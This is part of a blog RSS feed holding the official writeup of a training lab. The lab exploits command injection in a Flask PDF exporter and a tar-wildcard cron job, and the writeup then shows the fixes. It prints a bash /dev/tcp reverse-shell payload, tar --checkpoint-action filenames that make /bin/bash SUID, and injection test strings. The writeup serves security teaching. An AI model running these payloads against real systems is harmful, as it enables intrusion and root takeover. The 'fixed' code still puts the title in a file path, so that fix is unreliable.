? &#39;INSERT INTO password_resets(id, user_id, token, created_at, used) VALUES(?, ?, ?, ?, 0)&#39;<br>                : &#39;INSERT INTO password_resets(user_id, token, created_at) VALUES(?, ?, ?)&#39;<br>        );<br><br>        if ($target) {<br>            $st-&gt;bindValue(1, $id);<br>            $st-&gt;bindValue(2, $u[&#39;id&#39;]);<br>            $st-&gt;bindValue(3, $tok);<br>            $st-&gt;bindValue(4, time());<br>        } else {<br>            $st-&gt;bindValue(1, $u[&#39;id&#39;]);<br>            $st-&gt;bindValue(2, $tok);<br>            $st-&gt;bindValue(3, time());<br>        }<br><br>        $st-&gt;execute();<br><br>        file_put_contents(<br>            &#39;/tmp/waypoint-outbox.log&#39;,<br>            date(&#39;c&#39;) . &quot; | &quot; . $u[&#39;email&#39;] .<br>            &quot; | http://waypoint/reset-password?token=&quot; . $tok . &quot;\n&quot;,<br>            FILE_APPEND<br>        );<br>    }<br><br>    page(<br>        &#39;Check your inbox&#39;,<br>        &#39;&lt;div class=&quot;card&quot;&gt;&lt;h1&gt;Check your inbox&lt;/h1&gt;&#39; .<br>        &#39;&lt;p&gt;If the address belongs to a Waypoint account, we sent a reset link.&lt;/p&gt;&#39; .<br>        &#39;&lt;p&gt;&lt;a href=&quot;/dev/outbox.php&quot;&gt;Open development outbox&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&#39;<br>    );<br>    exit;<br>}</pre><p>Replace it entirely with:</p><pre>if ($path === &#39;/forgot-password&#39; &amp;&amp; $_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;POST&#39;) {<br>    $u = one(&#39;SELECT * FROM users WHERE email = ?&#39;, [$_POST[&#39;email&#39;] ?? &#39;&#39;]);<br>    if ($u) {<br>        $tok = bin2hex(random_bytes(32));<br><br>        $st = $db-&gt;prepare(<br>            &#39;INSERT INTO password_resets(user_id, token, created_at) VALUES(?, ?, ?)&#39;<br>        );<br><br>        $st-&gt;bindValue(1, $u[&#39;id&#39;], SQLITE3_INTEGER);<br>        $st-&gt;bindValue(2, $tok, SQLITE3_TEXT);<br>        $st-&gt;bindValue(3, time(), SQLITE3_INTEGER);<br>        $st-&gt;execute();<br><br>        file_put_contents(<br>            &#39;/tmp/waypoint-outbox.log&#39;,<br>            date(&#39;c&#39;) . &quot; | &quot; . $u[&#39;email&#39;] .<br>            &quot; | http://waypoint/reset-password?token=&quot; . $tok . &quot;\n&quot;,<br>            FILE_APPEND<br>        );<br>    }<br><br>    page(<br>        &#39;Check your inbox&#39;,<br>        &#39;&lt;div class=&quot;card&quot;&gt;&lt;h1&gt;Check your inbox&lt;/h1&gt;&#39; .<br>        &#39;&lt;p&gt;If the address belongs to a Waypoint account, we sent a reset link.&lt;/p&gt;&#39; .<br>        &#39;&lt;p&gt;&lt;a href=&quot;/dev/outbox.php&quot;&gt;Open development outbox&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&#39;<br>    );<br>    exit;<br>}</pre><h3>Remove the reserved RESET-000001 seed row</h3><p>Higher up in the file you will find this block. It exists only to make the vulnerable sequential scheme “work” as a lesson. Delete the whole block:</p><pre>/* Reserve RESET-000001 for the privileged target in every fresh Room 1 instance.<br>   Learner accounts therefore receive RESET-000002 and onward. */<br>if ($room === &#39;broken-password-reset&#39; &amp;&amp; (int)$db-&gt;querySingle(&#39;SELECT COUNT(*) FROM password_resets&#39;) === 0) {<br>    $admin = one(&#39;SELECT id FROM users WHERE email = ?&#39;, [&#39;admin@waypoint.io&#39;]);<br>    if ($admin) {<br>        $reserve = $db-&gt;prepare(<br>            &#39;INSERT INTO password_resets(id, user_id, token, created_at, used) VALUES(1, ?, ?, ?, 0)&#39;<br>        );<br>        $reserve-&gt;bindValue(1, (int)$admin[&#39;id&#39;]);<br>        $reserve-&gt;bindValue(2, &#39;RESET-000001&#39;);<br>        $reserve-&gt;bindValue(3, 0);<br>        $reserve-&gt;execute();<br>    }<br>}</pre><h3>Verify</h3><ol><li>php -l /var/www/html/index.php → no syntax errors.</li><li>/forgot-password with demo@waypoint.io — the token in /dev/outbox.php should be a long hex string, not RESET-000002.</li><li>/forgot-password with admin@waypoint.io — the token should also be a long hex string, not RESET-000001.</li><li>Confirm the old attack no longer works: requesting a reset for your own account and then visiting /reset-password?token=RESET-000001 must return “Link unavailable”.</li><li>Re-run the Extra Mile checks — the password-reset check should turn green.</li></ol><p>This is it. If you enjoyed this room, check out more labs at <a href="https://breaktheroot.com/">Break The Root</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8418e0e94470" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inkwell — Official Writeup]]></title>
            <link>https://refang.medium.com/inkwell-official-writeup-6fbd5621f318?source=rss-3a7efeb51874------2</link>
            <guid isPermaLink="false">https://medium.com/p/6fbd5621f318</guid>
            <dc:creator><![CDATA[ReFang]]></dc:creator>
            <pubDate>Thu, 05 Nov 2026 16:26:09 GMT</pubDate>
            <atom:updated>2026-11-05T16:26:09.487Z</atom:updated>
            <content:encoded><![CDATA[<p>This is official write up of <a href="https://breaktheroot.com/inkwell">Inkwell</a> room at <a href="https://breaktheroot.com/">Break The Root</a>.</p><p><strong>What is Break The Root?</strong></p><p>Break The Root is a hands-on cybersecurity training platform built around a simple idea: exploit, understand, fix. You hack real vulnerable machines, dig into why the exploit actually worked, and then patch the exact flaw that let you in, instead of just grabbing a flag and moving on.</p><p><strong>Note:</strong><br>If you find any issues in the room or in the writeup, please inform us at <a href="/service/mailto:contact@breaktheroot.com">contact@breaktheroot.com</a>. Your feedback helps us improve our platform and user experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tdg2w8oQIvFkZNKZ.png" /></figure><h3>Exploiting the Lab</h3><h3>Part 1: Scanning the Target</h3><p>Before touching the web app, we scan the machine to see what’s running on it.</p><pre>nmap -Pn -p- -sV &lt;target-ip&gt;</pre><p>The scan comes back with a single open port:</p><pre>PORT     STATE SERVICE VERSION<br>8080/tcp open  http    Werkzeug httpd (Python Flask)</pre><p>This tells us the machine is running a Python web app (Flask, using its built-in development server called Werkzeug) on port 8080. Since that&#39;s the only open port, that web app is our way in.</p><h3>Part 2: Exploring the Web App</h3><p>Access the application at:</p><pre>http://&lt;target-ip&gt;:8080</pre><p>The live site presents a fully branded “Inkwell Feedback Portal” with a navigation bar. The feedback form is not just a bare two-field form — it includes a <strong>Title</strong> field, a <strong>Feedback</strong> textarea, and additional fields such as <strong>Destination</strong>, <strong>Format</strong>, and <strong>Status</strong>. The page also displays a “Ready for review” status indicator.</p><p>Looking at the page source, the form submits to /export. The vulnerable parameter is the title field, which is passed directly into a shell command used for PDF generation.</p><h3>Part 3: Finding the Command Injection Bug</h3><p>The theory here is simple. Many apps that generate PDFs or run system tools do it by building a command as a plain text string and then handing that string to the operating system to run. If the app isn’t careful, and just glues our input straight into that string, we might be able to sneak in our own extra commands.</p><p>Let’s test it with a harmless payload first:</p><pre>x; sleep 5;</pre><p>If the app is vulnerable, we get a delay of 5 seconds. This confirms that we can run any command we want on the server.</p><h3>Part 4: Getting a Shell</h3><p>Proving we can run one command is nice, but we want a full interactive shell so we can explore the machine properly. We do this by sending ourselves a “reverse shell”, which is just a fancy way of saying: the target computer connects back to us and gives us a command line.</p><p>First, we start a listener on our own machine, which just waits for that incoming connection:</p><pre>nc -lvnp 4444</pre><p>Then we send the actual reverse shell payload through the same injection point we found earlier:</p><pre>x;bash -c &quot;bash -i &gt;&amp; /dev/tcp/&lt;tun0-host-ip&gt;/4444 0&gt;&amp;1&quot; #</pre><p>If everything works, our listener receives a connection, and we now have a shell on the target machine, logged in as a regular user called inkwell, a normal low-privilege foothold. This is our initial access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LiWpvCb1PeQV_FzvFe6Ftg.png" /></figure><h3>Part 5: Privilege Escalation</h3><p>Now that we’re logged in as inkwell, we look around the machine for anything that could let us become root.</p><pre>sudo -l<br>find / -perm -4000 -type f 2&gt;/dev/null<br>cat /etc/cron.d/*<br>ls -la /tmp/</pre><p>Here’s what each command is checking:</p><ul><li>sudo -l shows whether our user is allowed to run anything as another user. In this case, nothing useful turns up.</li><li>find / -perm -4000 looks for any program on the system with a special permission bit set that lets it run as its owner (often root) no matter who launches it. Nothing interesting here either.</li><li>cat /etc/cron.d/* shows any scheduled tasks set up on the system. This one turns up something useful.</li><li>ls -la /tmp/ lists files and folders in the temp directory, along with their permissions.</li></ul><p>We find a scheduled task file:</p><pre>* * * * * root /opt/inkwell/cleanup_reports.sh</pre><p>This means: every single minute, the system runs this script as root.</p><p>Looking at the script itself:</p><pre>cat /opt/inkwell/cleanup_reports.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WnJswCLkfPJAFqm30B0i1w.png" /></figure><p>So the script takes whatever is in /tmp/inkwell_reports and gives it to tar as a wildcard.</p><p>Even though this is a tmp folder (world-writable folder), still check the permissions on that folder:</p><pre>drwxrwxrwx /tmp/inkwell_reports</pre><p>That last part, the rwxrwxrwx, means literally anyone, including our low-privilege user, can create, rename, or delete files in this folder. Combined with the fact that a root-owned task is running tar inside this same folder every minute, this is a real problem waiting to be abused.</p><h3>Part 6: Understanding the Privilege Escalation Bug</h3><p>The script uses a wildcard, the * symbol, to tell tar &quot;grab every file in this folder.&quot; The issue is that before tar ever runs, the system itself expands that * into an actual list of every filename sitting in the folder.</p><p>Here’s the key insight: if we can control what files exist in that folder, we can control what gets typed after the tar command. And tar happens to have special flags, normally meant for showing progress on very large backups, that let you tell it &quot;run this other program partway through.&quot; If we name a file exactly like one of those flags, tar gets confused and treats our filename as an instruction instead of a file to archive.</p><h3>Part 7: Exploiting the Privilege Escalation</h3><p>From our inkwell shell:</p><pre>cd /tmp/inkwell_reports<br>echo &#39;chmod +s /bin/bash&#39; &gt; payload.sh<br>chmod +x payload.sh<br>touch -- &quot;--checkpoint=1&quot;<br>touch -- &quot;--checkpoint-action=exec=sh payload.sh&quot;</pre><p>Breaking this down:</p><ul><li>payload.sh is a tiny script containing the actual command we want to run as root. In this case, it sets a special permission bit on /bin/bash that will let any user run it with root&#39;s permissions.</li><li>The two touch commands don&#39;t create real, meaningful files. They create empty files whose names are deliberately written to look exactly like real tar command options.</li></ul><p>When the cron job runs tar czf ... * a minute later, the wildcard expands to include these two oddly named files. tar reads them not as filenames, but as actual settings: &quot;check in every 1 file&quot; and &quot;when checking in, run this script.&quot; Since the cron job runs as root, our script also runs as root.</p><p>This is the command tar runs:</p><pre>tar czf /var/backups/reports-2026-09-09.tar.gz --checkpoint=1 --checkpoint-action=exec=sh payload.sh payload.sh x</pre><p>We wait for the next cron run and check:</p><pre>sleep 65<br>ls -la /bin/bash</pre><p>If the exploit worked, we now see:</p><pre>-rwsr-sr-x 1 root root /bin/bash</pre><p>That extra s where an x normally sits means the file can now be run with root&#39;s permissions by anyone.</p><p>To actually use this and get a root shell:</p><pre>/bin/bash -p<br>id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y8QHA9UoOuoja9wQgc4hww.png" /></figure><p>The -p flag matters here. Bash normally drops any elevated permissions automatically as a safety measure, unless we specifically tell it not to with -p. After running this, id should show something like:</p><pre>uid=1000(inkwell) euid=0(root)</pre><p>That euid=0 means we&#39;re now effectively running as root. This completes the privilege escalation.</p><h3>Extra Mile: Fixing the Lab</h3><h3>Part 8: Fixing the Command Injection</h3><p>Now check /opt/inkwell/app.py to see what the issue is. Copy the contents of app.py to a local text editor on your own system so it can be edited easily.</p><p>The problem was that user input was being pasted directly into a command run through the system shell. The fix is to stop using the shell entirely for this, and instead pass each piece of the command as a separate, clearly defined argument:</p><pre>cmd = [&quot;wkhtmltopdf&quot;, &quot;--title&quot;, title, &quot;/tmp/body.html&quot;, f&quot;/tmp/{title}.pdf&quot;]<br>subprocess.run(cmd, shell=False)</pre><p>With shell=False and each part of the command listed separately like this, there&#39;s no single text string for an attacker to break out of anymore. Whatever gets typed into the &quot;title&quot; field is treated purely as data, never as part of a command.</p><p>Since we can’t open a text editor in the shell we have, first use cat to see the contents of app.py. Copy it into your text editor, edit it, and use EOF to replace the vulnerable file with the fixed file.</p><p>Here is the command to fix:</p><pre>cat &gt; /opt/inkwell/app.py &lt;&lt; &#39;EOF&#39;<br>from flask import Flask, render_template, request, Response<br>import os<br>import subprocess</pre><pre>app = Flask(__name__)</pre><pre>FORM = &quot;&quot;&quot;<br>&lt;!doctype html&gt;&lt;title&gt;Inkwell Feedback Portal&lt;/title&gt;<br>&lt;h1&gt;Inkwell Feedback Portal&lt;/h1&gt;<br>&lt;form method=&quot;post&quot; action=&quot;/export&quot;&gt;<br>&lt;label&gt;Title &lt;input name=&quot;title&quot;&gt;&lt;/label&gt;&lt;br&gt;<br>&lt;label&gt;Feedback &lt;textarea name=&quot;body&quot;&gt;&lt;/textarea&gt;&lt;/label&gt;&lt;br&gt;<br>&lt;button type=&quot;submit&quot;&gt;Export as PDF&lt;/button&gt;<br>&lt;/form&gt;<br>&quot;&quot;&quot;</pre><pre>@app.get(&quot;/&quot;)<br>def index():<br>    return render_template(&quot;home.html&quot;)</pre><pre>@app.get(&quot;/feedback&quot;)<br>def feedback():<br>    return render_template(&quot;feedback.html&quot;)</pre><pre>@app.get(&quot;/announcements&quot;)<br>def announcements():<br>    return render_template(&quot;announcements.html&quot;)</pre><pre>@app.get(&quot;/resources&quot;)<br>def resources():<br>    return render_template(&quot;resources.html&quot;)</pre><pre>@app.get(&quot;/directory&quot;)<br>def directory():<br>    return render_template(&quot;directory.html&quot;)</pre><pre>@app.get(&quot;/policies&quot;)<br>def policies():<br>    return render_template(&quot;policies.html&quot;)</pre><pre>@app.get(&quot;/contact&quot;)<br>def contact():<br>    return render_template(&quot;contact.html&quot;)</pre><pre>@app.route(&quot;/export&quot;, methods=[&quot;POST&quot;])<br>def export():<br>    title = request.form.get(&quot;title&quot;, &quot;report&quot;)<br>    body = request.form.get(&quot;body&quot;, &quot;&quot;)<br>    cmd = [&quot;wkhtmltopdf&quot;, &quot;--title&quot;, title, &quot;/tmp/body.html&quot;, f&quot;/tmp/{title}.pdf&quot;]<br>    subprocess.run(cmd, shell=False)<br>    return f&quot;Generated /tmp/{title}.pdf&quot;</pre><pre>if __name__ == &quot;__main__&quot;:<br>    app.run(host=&quot;0.0.0.0&quot;, port=8080)<br>EOF</pre><h3>Part 9: Fixing the Privilege Escalation</h3><p>This bug had two separate causes, and both should be fixed:</p><p>First, the folder should not be writable by everyone:</p><pre>chown root:root /tmp/inkwell_reports<br>chmod 750 /tmp/inkwell_reports</pre><p>This alone stops a regular user from planting fake files in that folder at all.</p><p>Second, the script itself should be made safer, regardless of folder permissions:</p><pre>tar czf /var/backups/reports-$(date +%F).tar.gz -- *</pre><p>Command to fix:</p><pre>cat &gt; /opt/inkwell/cleanup_reports.sh &lt;&lt; &#39;EOF&#39;<br>#!/bin/bash<br>set -u<br>cd /tmp/inkwell_reports<br>tar czf /var/backups/reports-$(date +%F).tar.gz -- *<br>EOF<br>chmod +x /opt/inkwell/cleanup_reports.sh</pre><p>Adding -- right before the wildcard tells tar &quot;everything after this point is a filename, never a command option, no matter what it looks like.&quot; This closes the bug completely, even if the folder permissions were ever accidentally loosened again in the future.</p><h3>Part 10: Verifying the Fixes</h3><p>To confirm the command injection is closed:</p><pre>curl -X POST http://&lt;target-ip&gt;:8080/export --data-urlencode &quot;title=x&#39;; id; echo &#39;x&quot; -d &quot;body=test&quot;</pre><p>The app should now treat this entire string as a literal, harmless title, with no command running behind the scenes.</p><p>To confirm the privilege escalation is closed:</p><pre>touch -- &quot;--checkpoint=1&quot;<br>sleep 65<br>ls -la /bin/bash</pre><p>The permissions on /bin/bash should remain completely unchanged, with no special bit added.</p><p>This is it. If you enjoyed this room, check out more at <a href="https://breaktheroot.com/">Break The Root</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6fbd5621f318" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>